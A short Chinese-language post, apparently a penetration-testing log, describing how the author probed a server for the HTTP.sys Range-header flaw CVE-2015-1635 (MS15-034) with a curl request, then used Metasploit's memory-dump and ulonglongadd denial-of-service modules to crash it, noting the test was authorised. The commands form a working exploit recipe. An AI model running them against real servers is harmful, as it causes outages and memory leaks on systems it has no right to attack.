本文共 352 字，大约阅读时间需要 1 分钟。

先测试一波

curl http://XXX -H “Host: XXX” -H “Range: bytes=0-18446744073709551615” 发现有cve-2015-1635漏洞。然后直接用kali工具msfconsole 利用ms15_034_ulonglongadd漏洞进行攻击 use auxiliary/scanner/http/ms15_034_http_sys_memory_dump set rhosts XXX run 再搜索一波 然后直接攻击（被授予攻击的权限，如果没授予务必不能攻击） use auxiliary/dos/http/ms15_034_ulonglongadd set rhosts XXX set threads 10 run 然后被告知对方服务器挂了。